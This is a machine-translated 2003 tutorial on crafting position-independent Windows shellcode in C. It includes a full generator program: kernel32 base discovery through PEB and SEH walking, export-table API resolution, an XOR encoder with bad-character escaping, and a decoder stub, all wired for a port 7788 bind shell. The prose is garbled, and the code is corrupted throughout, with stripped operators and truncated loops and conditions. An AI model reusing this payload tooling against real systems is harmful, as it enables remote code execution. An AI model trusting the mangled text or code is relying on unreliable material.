A little thinking about shellcode prepared by WINDOWS
Creation time: 2003-11-30
Article properties: reprint
Article submission:
L0PHT (anonymous_at_21cn.com)
A little thinking about shellcode prepared by WINDOWS
By hume / cold rain
Articles about Shellcode prepared, such as cow. Classic text with predecessors such as Yuange, WaterCloud
Zhang, but most of them are too professional and concise, and there is still a small difficulty to learn from beginners. Therefore put yourself
A little idea records to comfort the same dish.
I am not a tool agency, but the right tools will undoubtedly improve work efficiency, and how to choose the right tools and write
The purpose of Shellcode and the operating environment of Shellcode are directly related. Shellcode is usually overflowing, etc.
The way to obtain execution, and to call the API of the target system when executed, therefore requested
Shellcode uses a more common way to get the API function address of the target system, followed by its run address.
It is difficult to determine, so a dynamic approach should be used for the addressing of the data. In addition, shellcode is usually transmitted as data.
Give the attack program, and the attacking program generally filtering the data, which proposes the SHELLCODE.
Ask, the coding method of shellcode is now relatively simple, and it is basically the XOR Dafa or its deformation.
Write shellcode has two ways to popularize: writing extraction with C language; write and extract with assembly language.
It is most convenient to write and extract with assembly language, because shellcode code is generally short,
The completed task is relatively single, generally does not involve complex operations. Therefore, you can write it in assembly language. And use of compilation
Write the control, code location, and generated control of data, and provide direct generation binary in some assembly compilers.
Code function and provide directives that directly contain binary files, so you can write a Makefile file directly.
Shellcode code and attack programs are separated from, respectively, and there is no need for print, copy, paste, etc.
Join a section of encoded code in the attack program. This is also easy to communicate.
But now the popularity of the network is the shellcode written, but the endcode code is finally generated, which is involved.
And the problem of extracting the assembly code generated by C. But in C, due to the compiler, some additional additions are generated in the beginning and end of the function.
Code, and these code is not necessarily what we need, and there is a question is to extract the end of the code is not directly in C.
Operators are obtained. These are actually not very difficult, as long as the feature string is used in the beginning and end of the function, the C library function is used.
Memcmp search can be positioned. Coding for Shellcode can be written for a program, such as XOR. Finally write a paragraph
The function is printed, copied, and paste it can be used in the attack program.
The central idea written by c is to write code with C language, let the compiler generate binary code for us, then run at runtime
Code, print, this is done.
I found an example of writing shellcode with c, who personally commissioned it, and discovered some problems.
And add some of your own code, test.
Some of the problems are:
1. The location of the Kenergy base address and the acquisition of the API function address
The original code is used in a way to search the address space. This is not the best way, because one is more code,
The second is to handle the exceptions triggered by the search invalid page. There are still two ways available:
One is obtained from the PEB-related data structure, please refer to the Green Alliance No. 44 SCZ "through the TEB / PEB enumeration
A list of space modules in space. The code is as follows: MOV Eax, fs: 0x30
Mov Eax, [EAX 0x0C]
Mov ESI, [EAX 0x1c]
Lodsd
MOV EBP, [EAX 0x08] // EBP is the address of kernel32.dll
This method is more common and is suitable for 2K / XP / 2003.
Another way is to search the SEH linker of the process to get the address of the kernel32.unhandledExceptionFilter,
Then, the address is retrofitable to the base address of the Kernel, which is also common, suitable for 9x / 2k / xp / 2003.
I use this method in the code below.
2. The role of several codes
You may be often seen in Shellcode extraction code.
Temp = * shellcodefnadd;
IF (Temp == 0xe9)
{
shellcodefnadd;
K = * (int *) shellcodefnadd;
Shellcodefnadd = K;
Shellcodefnadd = 4;
}
What is the use of this code? The answer is to use the function pointer when generating debug version with Visual Studio
The address obtained is not to point to the true function entry point, but point to the jump instruction JMP:
JMP Function
The code above is to handle this situation. If it is not convenient to debug, you can delete it.
There is also the code you will see:
JMP decode_end
Decode_start:
POP EDX
.......
Decode_end:
Call Decode_Start
Shell_Start:
The code such as the code is the code to locate the code at Shell_Start, which is easy to assemble, because there is no convenient means positioning in C.
The length and position of the code, so this workaround is used. Dynamic calculations can be employed when this method does not meet the requirements of the encoding.
And the method of writing. However, it is more complicated.
3. About address order of local variables
The following local variable structure is used in the original procedure:
FarProc WritefileAdd;
FarProc ReadfileAdd;
FarProc PeeknamedpiPireAdd;
FarProc CloseHandD;
FarProc CreateProcessAdd;
FarProc CreatePipeAdd;
FarProc ProcloadLib;
FarProc APIFNADD [1];
Therefore, the order in which the compiler generated by the compiler is like this, in some machines, but in my
Otherwise, such as the following test procedures:
#include
#include
#include
#include
Void shell ();
Void __cdecl main (int Argc, char * argv [])
{
FarProc Arg1;
FarProc Arg2;
FarProc Arg3;
FarProc Arg4;
FarProc Arg5;
INT PAR1;
Int par2;
INT PAR3;
Int par4;
CHAR CH;
Printf ("SIZE OF FARPROC% D", SIZEOF (FARPROC));
Printf ("% x% x% x% x% x% x% x% x% x",
& arg1,
& arg2,
& arg3,
& arg4,
& arg5,
& par1,
& par2,
& par3,
& par4,
& ch
);
}
The output generated on my machine is:
12FF7C
12FF78
12FF74
12FF70
12FF68
12FF6C
12FF64
12FF60
12FF5C
12FF58
This confirms that the actual address of the local variable is not fully defined by our own definition. So the original shellcode is used
The method of using the function name directly is reliable. So I use other methods, and the Enum keyword provided makes this
Work is easy to see the code below.
4.more
Further research on the deformation shellcode avoids IDS testing, and the code method, etc.
5. Code
It can be seen that writing shellcode is more understanding of code generation and C compiler behavior. Some places have been processed
Not very effortless. However, once the template is written, it is much more effort to write up or write complex shellcode.
Increase the API as long as the function name item is added after the corresponding .dll (if there is no corresponding DLL in the STR, add it)
Synchronize the index of the enum. Use it directly when calling the API:
API [_APINAME] (param, .... param);
I.e.
If you don't comment, there is #define debug 1, the following code can be debugged after compiling, you can compile the shellcode.
The following code will pop up a dialog box and click OK to end the program. That's all.
-------------------------------------------
/ *
Use the C language to write universal shellcode program
Source: Internet
Modification: hume / cold rain
Test: Win2K SP4 Local
* /
#include
#include
#include
#define debug 1
//
// Function prototype
//
Void Decryptsc ();
Void shellcodes ();
Void Printsc (Char * LPBUFF, INT BUFFSIZE);
//
// Part of the part definition
//
#define beginstrlen 0x08 // Start string length
#define endstrlen 0x08 // End the length of the tag character
#define nop_code 0x90 // Fill characters
#define NOP_LEN 0x0 // Shellcode started fill length
#define buffsize 0x20000 // Output buffer size
#define sc_port 7788 // Bind port number 0x1e6c
#define sc_buffsize 0x2000 // shellcode buffer size
#define enc_key 0x7a // encoding key
#define max_enc_len 0x400 // Encrypted code maximum length 1024 is sufficient?
#define max_sc_len 0x2000 // Hellcode's maximum length 8192 is sufficient?
#define max_api_strlen 0x400 // Apistr string length
#define API_ENDSTR "strend" // API end tag string #define api_endstrlen 0x06 // tag string length
#DEfine proc_begin __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __ASM _EMIT 0X90
#define proc_end proc_begin
/ / -------------------------------------------------------------------------------------------- ---
ENUM {// kernel32
_Createpipe,
_Createprocessa,
_CloseHandle,
_Peeknamedpipe,
_Readfile,
_Writefile,
_Exitprocess,
// WS2_32
_Socket,
_bind,
_Listen,
_Accept,
_send,
_Recv,
_ioctlsocket,
_closeSocket,
/ / This machine test USER32
_MessageBeep,
_MessageBoxa,
API_NUM
}
//
// Code start here
//
INT __CDECL Main (int Argc, char ** argv)
{
// String to use in Shellcode
Static char apistr [] = "x1ex6c" // port address
// kernel32 API function name
"CreatePipe" "X0"
"CreateProcessa" "X0"
"Closehandle" "X0"
"Peeknamedpipe" "x0"
"Readfile" "X0"
"Writefile" "X0"
"Exitprocess" "X0"
// Other APIs used in other APIs
"wsock32.dll" "x0"
"Socket" "X0"
"bind" "X0"
"Listen" "X0"
"accept" "X0"
"Send" "X0"
"RECV" "X0"
"ioctlsocket" "x0"
"CloseSocket" "X0"
// Normal test
"User32.dll" "x0"
"MessageBeep" "X0"
"MessageBoxa" "X0" "X0x0x0x0x0"
"strend";
Char * fnbgn_str = "x90x90x90x90x90x90x90x90x90"; // String started
Char * fnend_str = "x90x90x90x90x90x90x90x90x90"; // Tag ended string
Char buff [buffsize]; // buffer
CHAR SC_BUFF [SC_Buffsize]; // shellcodes buffer
Char * pdcrypt_addr,
* psc_addr;
INT buff_len; // buffer length
INT Encode_len; // Encryption Code Code Length
INT sc_len; // Original shellcode length
INT I, K;
UNSIGNED CHAR CH;
//
// Get the Decryptsc () address, the address of the decoding function, then search for the max_enc_len byte, look up the string started
// Get the start address of the real decoding assembly code, MAX_ENC_LEN is defined as 1024 bytes, which is generally enough, then this
// Part of the code copy into the buffer to output Shellcode, ready to process
//
Pdcrypt_addr = (char *) Decryptsc;
// Position its actual address, because in the case of generating debug version debugging with Visual Studio, the compiler generates a jump table.
// From the jump form to calculate the actual address of the actual function, this is just to facilitate VC debugging
CH = * pdcrypt_addr;
IF (CH == 0xe9)
{
PDCrypt_addr ;
i = * (int *) pdcrypt_addr;
PDCrypt_addr = (i 4); // At this point, point to the actual address of the function
}
/ / Find the beginning of decoding code
For (k = 0; K
IF
Else
{
// Display error message
K = 0;
Printf ("No Begin Str Defined In Decrypt Function! Please Check Before Go On ...");
Return 0;
}
For (k = 0; K
IF
Else
{
K = 0;
Printf ("no end str defined in decrypt function! please check ....");
Return 0;
}
Memset (buff, nop_code, buffsize); // buffer fill
Memcpy (buff nop_len, pdcrypt_addr, enccode_len); // copy the Decryptsc code into the BUFF
//
// Process the shellcode code, if you need to locate the start of the code
//
PSC_ADDR = (char *) shellcodes; // shellcode's address
// Function address processing in debugging, easy to debug
CH = * psc_addr;
IF (CH == 0xe9)
{
PSC_ADDR ;
I = * (int *) PSC_ADDR;
PSC_ADDR = (i 4); // At this time, point to the actual address of the function
}
// If you need to locate the beginning of the actual shellcodes (), it is not required.
/ *
For (k = 0; k
IF
* /
/ / Find the end and length of shellcode
For (k = 0; K
IF
Else
{
K = 0;
Printf ("No end str defined in shellcodes function! please check ...."); returnograph;
}
// copy the shellcode code into SC_BUFF
Memcpy (SC_BUFF, PSC_ADDR, SC_LEN);
// copy the character string on the end of shellcode
For (i = 0; i
IF (i> = max_api_strlen)
{
Printf ("No end str defined in API STRINGS! PLEASE CHECK ....");
Return 0;
}
Memcpy (SC_BUFF K, APISTR, I);
SC_LEN = i; // Added the length of shellcode
//
// The encoding algorithm for shellcode is simple, and can be changed as needed.
//
K = Enccode_len NOP_LEN; / / The positioning buffer should store the beginning of the shellcode address
For (i = 0; i
CH = SC_BUFF [I] ^ Enc_Key;
// Replace some characters that may cause shellcode failure
IF (CH <= 0x1f || CH == '|| CH =='. '|| CH ==' || CH == '/' || CH == '0' || CH == '?' || CH == '%' || CH == ' ')
{
BUFF [K] = '0';
K;
CH = 0x31;
}
// put the encoded shellcode behind the Decryptsc code
BUFF [K] = CH;
K;
}
// SHELLCODE total length
BUFF_LEN = K;
// Print Shellcode
Printsc (BUFF, BUFF_LEN);
// buff [buff_len] = 0;
// Printf ("% s", buff);
#ifdef debug
_asm {
Lea Eax, Buff
JMP EAX
RET
}
#ENDIF
Return 0;
}
// Decode the code for shellcode
Void Decryptsc ()
{
__ASM {
/
/ / Definition Start Sign
/
Proc_begin // c Macro to Begin PROC
JMP next
GetEnccodeAddr:
POP EDI
Push EDI
POP ESI
XOR ECX, ECX
Decrypt_lop:
Lodsb
CMP AL, CL
JZ Shell
CMP AL, 0x30 // Judgment is a special character
JZ Special_Char_clean
Store:
XOR Al, ENC_KEY
Stosb
JMP Decrypt_lop
Special_Char_clean:
Lodsb
SUB Al, 0x31
JMP Store
NEXT:
Call GetEnccodeAddr
// The rest of the real encrypted shellcode code will be connected here.
Shell:
/
// Define the end sign
/
Proc_end // c Macro to End Proc
}
}
//
// shellcode code
//
Void shellcodes ()
{
// API low site array
FarProc API [API_NUM];
// I acquired the API address
FarProc getProcaddr;
FarProc loadingLib;
Handle HKRNL32;
Handle Libhandle; Char * apistr_addr, * p;
INT K;
U_SHORT shellcodeport;
// Test variable
Char * TestAddr;
/ *
Startupinfo SiINFO;
Socket Listenfd, Clientfd;
Struct SockAddr_in Server;
INT Iaddrsize = Sizeof (Server);
INT LBYTESREAD;
PROCESS_INFORMATION processinformation;
Handle Hreadpipe1, hwritepipe1, hreadpipe2, hwritepidipe2;
Security_attributes sa;
* /
_asm {
JMP Locate_addr0
GetApistr_addr:
POP APISTR_ADDR
// Start getting the address of the API and the address of GetProcaddress and LoadLibrarya
// can easily get the address of any API in the future.
// Protection Register
Pushhad
XOR ESI, ESI
Lods DWORD PTR FS: [ESI]
Search_krnl32_lop:
INC EAX
JE KRNL32_BASE_OK
Dec EAX
XCHG ESI, EAX
Lodsd
JMP Search_krnl32_lop
KRNL32_BASE_OK:
Lodsd
COMPARE IF PE_HDR
XCHG ESI, EAX
Find_pe_header:
Dec ESI
XOR Si, Si; Kernel32 IS 64KB Align
MOV EAX, [ESI]
Add Ax, - 'ZM';
JNE FIND_PE_HEADER
MOV EDI, [ESI 3CH]; .e_lfaNew
MOV EAX, [ESI EDI]
Add Eax, - 'EP'; Anti Heuristic Change this if you are use masm etc.
JNE FIND_PE_HEADER
PUSH ESI
ESI = VA KERNEL32.BASE
EDI = RVA K32.PEHDR
MOV EBX, ESI
Mov EDI, [EBX EDI 78H]; Peh.DataDirectory
Push EDI
PUSH ESI
Mov Eax, [EBX EDI 20h]; Peexc.AddressofNames
MOV EDX, [EBX EDI 24h]; Peexc.AddressofNameRDINALS
Call __getprocaddr
_emit 0x47
_emit 0x65
_emit 0x74
_emit 0x50
_emit 0x72
_emit 0x6f
_emit 0x63
_emit 0x41
_emit 0x64
_emit 0x64
_emit 0x72
_emit 0x65
_emit 0x73
_emit 0x73
_emit 0x0
// DB "getprocaddress", 0
__getprocaddr:
POP EDI
MOV ECX, 15
Sub Eax, 4
NEXT_:
Add Eax, 4
Add Edi, ECX
Sub EDI, 15
MOV ESI, [EBX EAX]
Add ESI, EBX
MOV ECX, 15
REPZ CMPSB
JNZ next_
POP ESI
POP EDI
Sub Eax, [EBX EDI 20h]; Peexc.AddressOfnames
SHR EAX, 1
Add Edx, EBX
Movzx Eax, Word PTR [EDX EAX] Add ESI, [EBX EDI 1CH]; Peexc.Addressoffunctions
Add EBX, [ESI EAX * 4]; EBX = kernel32.GetProcaddress.addr
Use getProcaddress and hModule to get other func
POP ESI; ESI = Kernel32 Base
MOV [HKRNL32], ESI / / Save
MOV [getProcaddr], EBX / / save
Call _GetLoadLib
_emit 0x4c
_emit 0x6f
_emit 0x61
_emit 0x64
_emit 0x4c
_emit 0x69
_emit 0x62
_emit 0x72
_emit 0x61
_emit 0x72
_emit 0x79
_emit 0x41
_emit 0x0
// DB "loadinglibrarya", 0
_GetLoadLib:
PUSH ESI
Call EBX
MOV [loadinglib], EAX
// Restore registers to avoid more problems
Popad
}
/ / Remove the defined port address
ShellcodePort = * (u_short *) apistr_addr;
Apistr_addr = 2;
Test
TestAddr = apistr_addr;
// Use getProcAddress to get the API address used in Shellcode
LibHandle = HKRNL32;
P = apistr_addr;
K = 0;
/// *
While (* (unsigned int *) p)! = 0)
{
Apistr_addr = p;
While (* p) p ; // advance to the next string
IF (* ((unsigned int *)) == 'LLD.')
{
LIBHANDLE = (Handle) LoadLib (apistr_addr); // Load DLL if DLL
}
Else
{
API [K] = (FARPROC) getProcaddr (LibHandle, Apistr_Addr);
K ;
}
Apistr_addr = p; / / Improve a character position before updating pointer
}
// * /
///
// You can use the C language to write the truly functional shellcode /////
///
//
// Simple test a few APIs to see if the composite requirements
//
API [_MESSAGEBEEP] (0x10);
API [_MessageBoxa] (0, TestAddr, 0,0x40);
API [_EXITPROCESS] (0);
///
// SHELLCODE function part end //
///
// Dead cycle
DIE:
Goto Die;
__ASM
{
LOCATE_ADDR0:
Call getapistr_addr //5 bytes
// The real string data is to be connected here.
/
// Define the end sign
/
Proc_end // c Macro to End Proc
}
}
//
/ / Display the C string format code for print generated shellcode
//
Void Printsc (Char * LPBUFF, INT BUFFSIZE)
{
INT I, J;
Char * p;
Char msg [4];
For (i = 0; i
{
IF ((i% 16) == 0)
IF (i! = 0)
PRINTF ("" "");
Else
PRINTF ("" ");
Sprintf (MSG, "/ X% .2x", LPBUFF [I] & 0xFF); for (p = msg, j = 0; j <4; p , j )
{
IF (iSupper (* p))
Printf ("% C", _tolower (* p));
Else
Printf ("% c", p [0]);
}
}
Printf (""; / * shell total is% d bytes * / ", buffsize);
}